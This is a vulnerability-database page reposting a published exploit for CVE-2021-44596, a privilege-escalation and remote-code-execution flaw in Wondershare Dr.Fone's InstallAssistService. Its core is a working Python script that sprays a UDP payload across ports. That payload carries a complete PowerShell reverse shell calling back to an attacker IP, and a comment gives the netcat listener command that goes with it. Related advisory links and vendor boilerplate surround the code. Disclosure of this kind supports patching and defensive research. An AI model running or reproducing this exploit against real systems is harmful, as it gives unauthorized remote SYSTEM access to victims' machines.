Lucene search
K

Wondershare Dr.Fone 12.0.7 - Privilege Escalation (InstallAssistService) Exploit

🗓️ 12 May 2022 00:00:00Reported by Netanel CohenType 
zdt
 zdt
🔗 0day.today👁 643 Views

Wondershare Dr.Fone 12.0.7 Privilege Escalation Exploit from InstallAssistServic

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-44596
29 Apr 202216:25
circl
CNNVD
Wondershare 安全漏洞
29 Apr 202200:00
cnnvd
CVE
CVE-2021-44596
29 Apr 202211:23
cve
Cvelist
CVE-2021-44596
29 Apr 202211:23
cvelist
NVD
CVE-2021-44596
29 Apr 202212:15
nvd
OSV
CVE-2021-44596
29 Apr 202212:15
osv
Packet Storm
Wondershare Dr.Fone 12.0.7 Privilege Escalation
11 May 202200:00
packetstorm
Prion
Remote code execution
29 Apr 202212:15
prion
Positive Technologies
PT-2022-12182 · Wondershare · Dr. Fone
29 Apr 202200:00
ptsecurity
# Exploit Title: Wondershare Dr.Fone 12.0.7 - Privilege Escalation (InstallAssistService)
# Exploit Author: Netanel Cohen & Tomer Peled
# Vendor Homepage: https://drfone.wondershare.net/
# Software Link: https://download.wondershare.net/drfone_full4008.exe
# Version: up to 12.0.7
# Tested on: Windows 10
# CVE : 2021-44596
# References: https://github.com/netanelc305/WonderShell

Wondershare LTD Dr. Fone as of 2021-12-06 version is affected by Remote code execution. Due to software design flaws an unauthenticated user can communicate over UDP with the "InstallAssistService.exe" service(the service is running under SYSTEM privileges) and manipulate it to execute malicious executable without any validation from a remote location and gain SYSTEM privileges
#!/usr/bin/python3
# stty raw -echo; (stty size; cat) | nc -lvnp 1337

import socket

payload = """WindowsPowerShell\\v1.0\powershell.exe
-nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.14.129',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Admin
12345"""

byte_message = bytes(payload, "utf-8")

for i in range(1024,65500):
    opened_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    opened_socket.sendto(byte_message, ("192.168.14.137", i))
    print(f"Trying port {i}",end="\r")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation